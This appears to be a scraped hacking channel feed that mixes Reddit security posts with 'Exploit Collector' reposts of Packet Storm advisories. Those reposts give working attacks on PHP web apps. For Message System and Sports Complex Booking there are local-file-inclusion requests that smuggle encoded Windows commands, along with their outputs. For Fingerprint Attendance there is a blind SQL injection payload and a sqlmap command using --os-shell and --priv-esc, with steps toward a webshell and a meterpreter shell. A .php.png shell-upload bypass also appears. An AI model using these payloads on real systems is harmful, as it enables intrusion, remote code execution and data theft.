Hacking Articles Tips Tricks Videos Tutorials

ABC-Code Execution for Veeam - @MDSecLabs

ABC-Code Execution for Veeam - @MDSecLabs
https://www.reddit.com/r/redteamsec/comments/tr0u1t/abccode_execution_for_veeam_mdseclabs/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.mdsec.co.uk/2022/03/abc-code-execution-for-veeam/) [comments] (https://www.reddit.com/r/redteamsec/comments/tr0u1t/abccode_execution_for_veeam_mdseclabs/)

___________________________
@hacking_Attack
@Hacking_Video

Posted in r/redteamsec by u/dmchell • 1 point and 0 comments

8 viewsedited 14:45

whatsapp be hacked with just a voice message?

hacking: security in practice
whatsapp be hacked with just a voice message?

My friend recieved a scam voice message from an unknown sender. She heard the voice message deleted and reported the chat now she's paranoid that her WhatsApp could be compromised. Can this happen?

submitted by /u/Secretacct4edu
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

My friend recieved a scam voice message from an unknown sender. She heard the voice message deleted and reported the chat now she's paranoid that...

8 viewsedited 15:25

7 views16:28

Exploit Collector
PHP filter_var Bypass Patch

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
When the filter_var function is used in conjunction with the flags FILTER_VALIDATE_DOMAIN and FILTER_FLAG_HOSTNAME, there is a vulnerability in PHP that allows the filter to be bypassed. A patch has been included by the researcher as the PHP security team seems to have ignored this concern.

MD5 | 61136d35767f4ad61a626a2c83102bd2

Download
Hello!

When the filter_var function is used in conjunction with the flags FILTER_VALIDATE_DOMAIN and FILTER_FLAG_HOSTNAME, there is a vulnerability in PHP that allows the filter to be bypassed. This vulnerability could be used to introduce vulnerabilities into code that would otherwise be safe to use.

Due to the lack of response from the PHP security team, I have decided to make this vulnerability publicly available instead. Especially because I haven't received any updates despite numerous requests. Because of the ease with which the vulnerability can be exploited, I believe that the community has a right to be informed about it.

Please see my write-up on https://pwning.systems/posts/php_filter_var_shenanigans/ for more information on how to exploit this vulnerability.

Because the PHP security team has not yet patched this issue, I have attached my own one-liner patch that you can apply with the command 'git am $patchfile’.

PATCH:
```
From 9c064e66226c9da5b9c0170342ba516055a31be5 Mon Sep 17 00:00:00 2001
From: Jordy Zomer
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

PHP filter_var Bypass Patch

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 16:28

7 views16:28

7 views16:28

Exploit Collector
Message System 1.0 Local File Inclusion

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Message System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | 4704af873c295b300cd774bd52beaaa6

Download

# Title:  Message System 1.0  LFI To RCE
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code  php
Needs more filtering require_once

```
require_once('config.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'registration';
$page_name = explode("/",$page)[count(explode("/",$page)) -1];
```

[+] Payload GET
```
GET /pmms/registration?page=../../../0day&515=%74%79%70%65%20%43%3a%5c%30%64%61%79%5f%48%65%6a%61%70%5f%2e%74%78%74%20%26%26%20%64%69%72%20%43%3a%5c HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 354
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL

#Response 
```

Hegap Zairy 0day Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\

03/18/2022  10:27 AM Program Files
03/21/2022  01:45 PM Program Files (x86)
03/02/2022  11:04 PM Python27
03/26/2022  08:33 PM Temp
03/26/2022  08:45 PM Users

```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/jTqaEXn.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Message System 1.0 Local File Inclusion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 16:28

Exploit Collector
Sports Complex Booking System 1.0 Local File Inclusion

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Sports Complex Booking System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | e1771154c9789a23d886d6f8d354e1df

Download

# Title: Sports Complex Booking System  1.0  LFI To RCE
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code  php
Needs more filtering require_once

php```
----


----
```
[+] Payload GET
```
GET /scbs/?p=../../../0day&515=%64%69%72%20%43%3a%5c HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL
#Response 
```
HTTP/1.1 200 OK
Date: Sun, 28 Mar 2022 08:05:28 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8`
Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\

03/26/2022  08:51 PM 0day
03/26/2022  02:12 PM                19 0day.php
03/17/2022  06:06 AM            12,288 DumpStack.log
03/24/2022  07:14 PM Intel
10/31/2021  12:47 AM MinGW
10/31/2021  12:58 AM mingw32
05/12/2018  08:20 PM mingw64
10/31/2021  12:47 AM msys64
01/02/2022  09:28 AM pen
06/05/2021  03:10 PM PerfLogs
03/18/2022  10:27 AM Program Files
03/21/2022  01:45 PM Program Files (x86)
03/02/2022  11:04 PM Python27
01/30/2022  02:34 PM               474 t.txt
03/26/2022  08:33 PM Temp
03/26/2022  08:45 PM Users
```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/tUWZM0X.png
https://i.imgur.com/vrPCGTp.png
https://i.imgur.com/sMyZder.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Sports Complex Booking System 1.0 Local File Inclusion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 16:28

5 views16:28

5 views16:28

Exploit Collector
Fingerprint Attendance 1.0 SQL Injection

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
Fingerprint Attendance version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7fca919d5f491a3255c76c496621dd08

Download

# Title: Fingerprint Attendance 1.0 Blind boolean SQLi To Rce
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/fingerprint/login.php
# 2 - manual inject Blind SQli Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell 
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code  php

---
```
$user = $_POST['username'];
$pass = sha1($_POST['password']);
$passwrong = false;

if(isSet($_POST["button"])) 
switch($_POST["button"]){
case "Login" : 
$passwrong = login($con, $user, $pass); //echo "Login";
break;
} // ----------------- Inside if(isSet($_POST["button"]))----------------

```
---
#Status: CRITICAL
[+] Payload GET

---

POST /fingerprint/src/ HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/fingerprint/src/
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1

username=hejap'+OR+NOT+8425=8425#&password=hejap&button=Login
---

```
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
---
```
#Blind SQLi Time to Rce
#ُExploit 
sqlmap -r 0day_Hejap.txt -p username 
'  --hex  --dbms=mysql --technique=b  --random-agent  --eta   -D ad_39 -T login  --dump --os-shell    --priv-esc  --forms --eta 
# Description:
The Blind boolean SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/uYBA1C3.png
https://i.imgur.com/nQFdjNu.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Fingerprint Attendance 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 16:28

6 views16:28

Exploit Collector
Message System 1.0 Shell Upload

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
Message System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 1f992fe548cf80b5d771f43f1acc8bb7

Download
# Title: Message System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload image files

```
if(isset($_FILES['image']) && $_FILES['image']['tmp_name'] != ''){
if(!is_dir(base_app."uploads/users"))
mkdir(base_app."uploads/users");
$fname = 'uploads/users/avatar-'.$uid.'.png';
$dir_path =base_app. $fname;
$upload = $_FILES['image']['tmp_name'];
$type = mime_content_type($upload);
$allowed = array('image/png','image/jpeg');
if(!in_array($type,$allowed)){
$resp['msg'].=" But Image failed to upload due to invalid file type.";
}else{
$new_height = 200;
$new_width = 200;
```
[+] Payload POST
```
POST /pmms/registration.php?id=1&firstname=Admin&middlename=admin&lastname=admin&gender=Male&dob=2022-03-30&username=Admin&password=Admin12345A%40%23&image=0day_Hejap.png HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jj352kdlpp0ib5lu0v5ddm199m
Upgrade-Insecure-Requests: 1

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="image"; filename="0day_hejap.png.php"
Content-Type: image/png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Message System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 16:28

7 views16:28

Exploit Collector
Fingerprint Attendance 1.0 Account Takeover

___________________________
@hacking_Attack
@Hacking_Video

Fingerprint Attendance 1.0 Account Takeover

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 16:28

Exploit Collector
Fingerprint Attendance 1.0 Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Fingerprint Attendance 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 16:28

Dark Reading: Attacks/Breaches
Exploring the Intersection of Physical Security and Cybersecurity

Residential, commercial, and public buildings are getting smarter; fitting them with a network of connected systems allows buildings to regulate their environment, save energy, and be more secure.

6 views16:41

Source

6 views16:41